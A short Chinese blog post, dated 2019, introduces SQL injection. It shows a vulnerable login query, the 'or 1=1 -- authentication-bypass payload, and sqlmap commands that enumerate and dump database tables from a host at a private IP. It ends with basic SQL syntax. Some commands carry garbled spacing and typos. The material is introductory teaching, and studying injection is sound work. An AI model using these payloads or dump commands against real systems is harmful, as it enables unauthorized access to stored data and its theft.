sql注入原理

一对儿程序猿 2019-11-10

sql注入原理

登录SQL语句:

select * from admin where username = ‘用户输入的用户名‘ and password =用户输入的密码‘

用户输入的内容可由用户自行控制,例如可以输入‘or 1=1 --空格

SQL语句:

select * from admin where username=‘ or 1=1 -- ‘ and password = ‘用户输入的密码‘

sqlmap

使用sqlmap探测注入点

sqlmap -u "192.168.1.104: 8081/ cms/articles.php?id=1" - dbs ?sqlmap -u "192. 168.1.104 : 8081/ cms/articles. php?id=1" -D 数据库 -T 表名 -C 字段1, 字段2 --dump

sql基础(增删改查)

增?INSERT INTO 表(字段1,字段2) VALUES (值1,值2);?删?DELETE FROM 表 where 条件;?改?UPDATE 表 SET 列1=值1,列2=值2 WHERE 条件?查?select 字段1,字段2 from 表 where 条件

相关推荐

jiong / 0评论 2020-09-17